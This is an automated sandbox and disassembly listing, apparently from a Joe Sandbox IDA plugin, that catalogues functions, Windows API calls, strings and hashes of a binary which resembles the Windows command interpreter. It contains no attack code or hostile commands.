                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_close_get_osfhandle_wcsuprtowupperwcschr
                                                                                                                                                                                                                                  • String ID: <noalias>$CMD.EXE
                                                                                                                                                                                                                                  • API String ID: 2015057810-1690691951
                                                                                                                                                                                                                                  • Opcode ID: c66083182dc16bcd3bb5195cd319bc52c489d325ca843ef0c71748bd55bb5e53
                                                                                                                                                                                                                                  • Instruction ID: 7d18ee031b19300d1fef81550afcf5c1134901dd0da5f447e1b5d9b4d3f30a62
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c66083182dc16bcd3bb5195cd319bc52c489d325ca843ef0c71748bd55bb5e53
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FE81D572A00314ABCB149FB8EC65AEEFBB9EF45711F180119F802E7294DBB19841C771
                                                                                                                                                                                                                                  Function 00D1790C Relevance: 28.7, APIs: 19, Instructions: 208COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: _get_osfhandle.MSVCRT ref: 00D19A1C
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D1793A,00000104,?), ref: 00D19A2B
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374,-00000001), ref: 00D19A47
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,00000002,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374), ref: 00D19A56
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374), ref: 00D19A61
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374,-00000001), ref: 00D19A6A
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D17943
                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374,-00000001), ref: 00D17951
                                                                                                                                                                                                                                  • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,00D50AF0,000000A0,00000000,00000000,00000000,?,00000104,?), ref: 00D179BE
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?,00000104,?), ref: 00D17A1C
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D17A27
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Console$ErrorLastLockShared_get_osfhandle$AcquireBufferFileHandleInfoModeReleaseScreenTypeWrite
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2173784998-0
                                                                                                                                                                                                                                  • Opcode ID: 7d297b44cfc1b6fd7f8d16029c9b5f0a2881d994cd27c6f92cf2723cb441c00b
                                                                                                                                                                                                                                  • Instruction ID: 9c0edcf557b3ebf238c3a6785d68057010afcc43adeba85d93dd273b481d0555
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7d297b44cfc1b6fd7f8d16029c9b5f0a2881d994cd27c6f92cf2723cb441c00b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6C718275904325EFCB149FA8EC84ABEBBB9FF44312F14412AF906E6264DB349944CB71
                                                                                                                                                                                                                                  Function 00D32859 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 165windowthreadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001200,00000000,?,00000400,?,00000100,00000000,?,?,?), ref: 00D32931
                                                                                                                                                                                                                                  • GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?), ref: 00D32998
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CurrentFormatMessageThread
                                                                                                                                                                                                                                  • String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
                                                                                                                                                                                                                                  • API String ID: 2411632146-3173542853
                                                                                                                                                                                                                                  • Opcode ID: d092550316a5f2dcad9618a544c2fa79915803c04b2d822939becf2c2b13678a
                                                                                                                                                                                                                                  • Instruction ID: 9c1e301274a4cf85b371dfb102e2dc7d624e63fbc7aab887ed8e207e16ce6c14
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d092550316a5f2dcad9618a544c2fa79915803c04b2d822939becf2c2b13678a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 95511071900304BBDB345F689C0AEB7BBB8EF44B00F08855CF596A2261DA71DA94CF31
                                                                                                                                                                                                                                  Function 00D20590 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 181fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,40000000,00D2B7DB,0000000C,00000004,00000080,00000000), ref: 00D205FF
                                                                                                                                                                                                                                  • _open_osfhandle.MSVCRT ref: 00D20613
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D20663
                                                                                                                                                                                                                                  • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,40000000,00000003,0000000C,00000003,00000080,00000000,?,?), ref: 00D20695
                                                                                                                                                                                                                                  • GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?), ref: 00D206D3
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,000000FF,FFFFFFFF,00000002), ref: 00D206FB
                                                                                                                                                                                                                                  • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000001,?,00000000), ref: 00D20717
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,000000FF,FFFFFFFF,00000002), ref: 00D2E89D
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File$CreatePointer$ReadSize_open_osfhandle_wcsicmp
                                                                                                                                                                                                                                  • String ID: con
                                                                                                                                                                                                                                  • API String ID: 58404892-4257191772
                                                                                                                                                                                                                                  • Opcode ID: 27ad01be8f2a4803dced8a05d44abcf679579bb4bf00998884079c109b1e6c38
                                                                                                                                                                                                                                  • Instruction ID: 00e6cd1d6cf34b4f950d3dd28531a9910b0604f944b6a3b7fc0e2797d5358d37
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 27ad01be8f2a4803dced8a05d44abcf679579bb4bf00998884079c109b1e6c38
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EC51F870A00324AFD7108F98EC49BBEBBB8EB95729F140225F961E32D1D77589518B72
                                                                                                                                                                                                                                  Function 00D3C5F2 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 158COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3C62E
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3C656
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,-00000105,-00000105,?,?,?,00000001,00000000,00000000), ref: 00D3C6C7
                                                                                                                                                                                                                                  • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000001,00000000,00000000), ref: 00D3C6E6
                                                                                                                                                                                                                                  • GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,00000000,?,?,?,00000001,?,?,?,00000001,00000000,00000000), ref: 00D3C72A
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D3C747
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D3C76C
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D3C794
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,00000001,00000000,00000000), ref: 00D3C7B3
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,00000001,00000000,00000000), ref: 00D3C7C5
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
                                                                                                                                                                                                                                  • String ID: CSVFS$NTFS$REFS
                                                                                                                                                                                                                                  • API String ID: 3510147486-2605508654
                                                                                                                                                                                                                                  • Opcode ID: d750317daa7f061b6ed2daa80301b926f57d8cd9eed1771626326092a1a77723
                                                                                                                                                                                                                                  • Instruction ID: 8bd0140abdd9e78833acbb1bd94357ca688ec682a1956545feb96a1fd2e399b1
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d750317daa7f061b6ed2daa80301b926f57d8cd9eed1771626326092a1a77723
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6E5136B5A103196BDB20DBA5DC85AEABBB8EF54344F081099E905E3240DB74DE84CF71
                                                                                                                                                                                                                                  Function 00D19789 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 128COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsicmp
                                                                                                                                                                                                                                  • String ID: EQU$GEQ$GTR$LEQ$LSS$NEQ
                                                                                                                                                                                                                                  • API String ID: 2081463915-3124875276
                                                                                                                                                                                                                                  • Opcode ID: 3e0fc62993c7812d7614d13c24c16211e3fda10cd5e5f65d6ca7994b5040aee2
                                                                                                                                                                                                                                  • Instruction ID: 15c3f5d92cfb07607502d6ea970d55acbf0ee23f63bf0f884af11e2617cbcf25
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3e0fc62993c7812d7614d13c24c16211e3fda10cd5e5f65d6ca7994b5040aee2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7E41F671204302BAD7246B64B8757FAA2A4EF52729B28052EE542C52D0EFA2D8C4D732
                                                                                                                                                                                                                                  Function 00D256C4 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 297COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A70,000000FF,00000000,?,00000001,?,?,?,00D25833,?, /D /c",?,?,?,00000000,?), ref: 00D31271
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: longjmp
                                                                                                                                                                                                                                  • String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
                                                                                                                                                                                                                                  • API String ID: 1832741078-366822981
                                                                                                                                                                                                                                  • Opcode ID: eadb9db68948a9d8186fd1483919180b3592442eceab3bc5a45b6cd75fe0267e
                                                                                                                                                                                                                                  • Instruction ID: e67ca33845b8d44f688af602d3e3f2f6a8a04b847b25cb0e315a49b4381afd89
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: eadb9db68948a9d8186fd1483919180b3592442eceab3bc5a45b6cd75fe0267e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B4A1E078600616FBCF249F54E885DAE7B22FB94398F248115F4428B794CB70DDA1CBB1
                                                                                                                                                                                                                                  Function 00D17E93 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001A00,00000000,00000000,00000000,00D50AF0,00002000,00000000,00000000,00000000,00000000), ref: 00D17ED4
                                                                                                                                                                                                                                    • Part of subcall function 00D1A62F: wcschr.MSVCRT ref: 00D1A635
                                                                                                                                                                                                                                  • FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001800,00000000,00000000,00000000,00D50AF0,00002000,?), ref: 00D17F16
                                                                                                                                                                                                                                  • _ultoa.MSVCRT ref: 00D2AFC9
                                                                                                                                                                                                                                  • GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,000000FF,?,00000020), ref: 00D2AFDE
                                                                                                                                                                                                                                  • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00000000), ref: 00D2AFF3
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
                                                                                                                                                                                                                                  • String ID: Application$System
                                                                                                                                                                                                                                  • API String ID: 3538039442-3455788185
                                                                                                                                                                                                                                  • Opcode ID: aa9fac67229021385cedcc81c11997411960c7038d740eec5682bf4af9e062f3
                                                                                                                                                                                                                                  • Instruction ID: aa8434a88325c7ebca00fd1b503c0442d514a2ddcb7512d9e2eaee334804625e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: aa9fac67229021385cedcc81c11997411960c7038d740eec5682bf4af9e062f3
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: AE41E4B1B40325BBDB109B68AC49FAF7BB9EF45B46F200129F902DB290DA709D44C771
                                                                                                                                                                                                                                  Function 00D1E950 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 276COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memsetwcschr$_wcsicmpiswspace
                                                                                                                                                                                                                                  • String ID: :.\$=,;$=,;+/[] "
                                                                                                                                                                                                                                  • API String ID: 1913572127-843887632
                                                                                                                                                                                                                                  • Opcode ID: 00a188d52580c2feb46ee82bbf59940b1f0ee9b7dadeee702173bb01eb6522e6
                                                                                                                                                                                                                                  • Instruction ID: d07f30926890481cb53439ecad2733deac308b90dad84214256d7d6e92c18f7b
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 00a188d52580c2feb46ee82bbf59940b1f0ee9b7dadeee702173bb01eb6522e6
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8AA1A130A04325ABDB24CB69F884BFA77B1BF54314F180199EC46A7291DB709DC5CB71
                                                                                                                                                                                                                                  Function 00D353AA Relevance: 18.2, APIs: 12, Instructions: 169COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D19E8E: iswspace.MSVCRT ref: 00D19E9E
                                                                                                                                                                                                                                  • wcsrchr.MSVCRT ref: 00D35406
                                                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00D3541C
                                                                                                                                                                                                                                  • wcsrchr.MSVCRT ref: 00D3544C
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5), ref: 00D3546B
                                                                                                                                                                                                                                  • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00D3547B
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00D35497
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 00D3549F
                                                                                                                                                                                                                                  • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00D354B3
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 00D354D4
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,000003FF,?), ref: 00D35501
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00D35557
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 00D35578
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ConsoleMode$Handle$wcsrchr$iswspacewcschr
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4166807220-0
                                                                                                                                                                                                                                  • Opcode ID: ce34920c089a5a1318ec18d3a0625d8ec07201feffd6c8abd574364243c803d8
                                                                                                                                                                                                                                  • Instruction ID: ad70c99fc7a2347204c1fcf71b9859c3ed7af7ca87020481f68fe9f74dd1c5e3
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ce34920c089a5a1318ec18d3a0625d8ec07201feffd6c8abd574364243c803d8
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0751B5716003189ADB64AB78EC19BE977F9FF00311F1485A9E586D21D4EF709E81CBB1
                                                                                                                                                                                                                                  Function 00D17610 Relevance: 18.2, APIs: 8, Strings: 4, Instructions: 155memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,0000000C), ref: 00D17669
                                                                                                                                                                                                                                  • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00D17670
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008), ref: 00D17686
                                                                                                                                                                                                                                  • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00D1768D
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D17719
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1772B
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D17758
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D2AA79
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap_wcsicmp$AllocProcess
                                                                                                                                                                                                                                  • String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
                                                                                                                                                                                                                                  • API String ID: 435930816-3086019870
                                                                                                                                                                                                                                  • Opcode ID: 898c4e9161151011e63e516b345cb39a37c1d5bae506749815a950215933bd27
                                                                                                                                                                                                                                  • Instruction ID: bed2b1745c55dc6bd46291cc2cd1c46f218a734195db70c0e3972e1d2a66a883
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 898c4e9161151011e63e516b345cb39a37c1d5bae506749815a950215933bd27
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0C51F275208311AFD7149F38BC05AA637E4EF06315B18456EE842C73A1FF61D882CB76
                                                                                                                                                                                                                                  Function 00D3AEBD Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 266COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3AF04
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3AF2E
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3AF58
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
